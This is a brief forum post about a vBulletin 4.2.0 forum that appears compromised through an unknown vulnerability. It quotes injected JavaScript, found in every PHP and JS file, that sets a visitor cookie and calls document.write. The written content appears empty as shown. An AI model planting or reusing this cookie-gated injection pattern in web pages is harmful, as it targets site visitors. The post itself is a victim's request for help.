Forum New vulnerability?
 

A friend of mine is having problem with 4.2.0 forum due to likely new vulnerability.
This code i added to all php and js files

Code:
function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document. cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('');}
All java functions does work no more (edit post etc.).
He has just disabled all plugins.
Periodically he has to overwrite all vbulletin files to resolve this problem.